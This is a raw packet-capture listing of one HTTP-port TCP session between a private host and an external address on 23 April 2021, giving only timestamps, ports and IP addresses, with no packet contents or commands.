Apr 23, 2021 11:07:48.931754112 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.931775093 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.931792974 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.931813955 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.931821108 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.931838036 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.931847095 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.931870937 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.931890965 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.931895018 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.931915998 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.931920052 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.931922913 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.931938887 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.931945086 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.931962967 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.931971073 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.931989908 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.931994915 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.932023048 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.932034969 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.932040930 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.932049036 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.932068110 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.932073116 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.932090998 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.932100058 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.932117939 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.932125092 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.932143927 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.932149887 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.932168961 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.932174921 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.932193041 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.932199001 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.932218075 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.932226896 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.932245970 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.932251930 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.932275057 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.932296038 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.932300091 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.932326078 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.932348967 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.932354927 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.932363987 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.932372093 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.932377100 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.932399988 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.932399988 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.932425976 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.932426929 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.932454109 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.932455063 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.932470083 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.932476997 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.932501078 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.932507038 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.932523012 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.932524920 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.932549953 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.932557106 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.932571888 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.932574987 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.932598114 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.932605028 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.932625055 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.932648897 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.932648897 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.932672024 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.932672977 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.932697058 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.932704926 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.932720900 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.932745934 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.932749033 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.932753086 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.932770014 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.932771921 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.932796955 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.932822943 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.932841063 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.932847023 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.932847977 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.932873011 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.932892084 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.932897091 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.932914019 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.932924032 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.932946920 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.932970047 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.932987928 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.932993889 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.932995081 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.933022022 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.933034897 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.933043957 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.933046103 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.933070898 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.933079958 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.933095932 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.933115959 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.933119059 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.933141947 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.933147907 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.933167934 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.933213949 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.933310032 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.944448948 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.979221106 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.979255915 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.979273081 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.979288101 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.979310036 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.979331970 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.979352951 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.979363918 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.979372978 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.979397058 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.979403973 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.979419947 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.979443073 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.979444981 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.979469061 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.979469061 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.979490995 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.979512930 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.979536057 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.979598999 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.980168104 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.980202913 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.980226040 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.980249882 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.980271101 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.980288029 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.980294943 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.980319023 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.980329990 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.980343103 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.980365992 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.980365992 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.980393887 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.980395079 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.980420113 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.980424881 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.980444908 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.980468035 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.980468988 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.980494022 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.980510950 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.980516911 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.980540991 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.980559111 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.980565071 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.980571032 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.980583906 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.980587006 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.980608940 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.980631113 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.980653048 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.980654955 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.980678082 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.980688095 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.980704069 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.980726004 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.980726957 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.980734110 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.980750084 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.980771065 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.980777025 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.980799913 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.980820894 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.980823994 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.980846882 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.980848074 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.980869055 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.980871916 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.980895996 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.980899096 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.980925083 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.980947018 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.980947971 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.980969906 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.980989933 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.980993986 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.981013060 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.981017113 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.981040001 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.981055975 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.981061935 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.981086969 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.981105089 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.981110096 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.981132030 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.981132984 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.981152058 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.981157064 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.981174946 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.981179953 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.981203079 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.981220961 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.981225967 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.981244087 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.981249094 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.981275082 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.981296062 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.981297970 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.981316090 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.981321096 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.981343031 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.981343985 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.981368065 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.981401920 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.981419086 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.981441975 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.981447935 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.981467962 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.981476068 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.981501102 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.981501102 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.981519938 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.981525898 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.981545925 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.981549978 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.981574059 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.981591940 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.981597900 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.981616974 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.981621981 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.981641054 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.981645107 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.981663942 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.981671095 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.981690884 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.981694937 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.981697083 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.981719971 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.981736898 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.981739998 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.981743097 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.981762886 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.981767893 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.981789112 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.981794119 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.981812954 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.981817961 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.981837034 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.982392073 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.987086058 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.994664907 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.994692087 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.994715929 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.994738102 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.994760036 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.994784117 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.994795084 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.994807959 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.994833946 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.994843006 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.994857073 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.994863033 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.994883060 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.994891882 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.994909048 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.994932890 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.994952917 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.994955063 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.994978905 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.995002031 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.995011091 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.995024920 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.995026112 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.995053053 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.995074987 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.995078087 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.995101929 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.995107889 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.995126009 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.995138884 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.995150089 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.995172977 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.995196104 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.995204926 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.995218992 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.995242119 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.995244026 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.995268106 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.995276928 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.995286942 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.995291948 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.995320082 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.995343924 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.995366096 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.995378017 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.995388031 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.995389938 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.995410919 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.995413065 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.995438099 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.995440006 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.995464087 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.995487928 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.995500088 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.995512009 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.995522022 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.995533943 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.995557070 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.995559931 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.995578051 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.995579958 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.995601892 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.995603085 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.995628119 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.995649099 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.995651960 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.995677948 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.995690107 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.995702028 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.995713949 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.995727062 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.995750904 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.995754957 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.995774031 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.995780945 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.995791912 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.995798111 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.995820999 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.995845079 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.995846033 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.995868921 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.995877981 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.995893002 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.995917082 CEST	49703	80	192.168.2.5	31.210.20.121
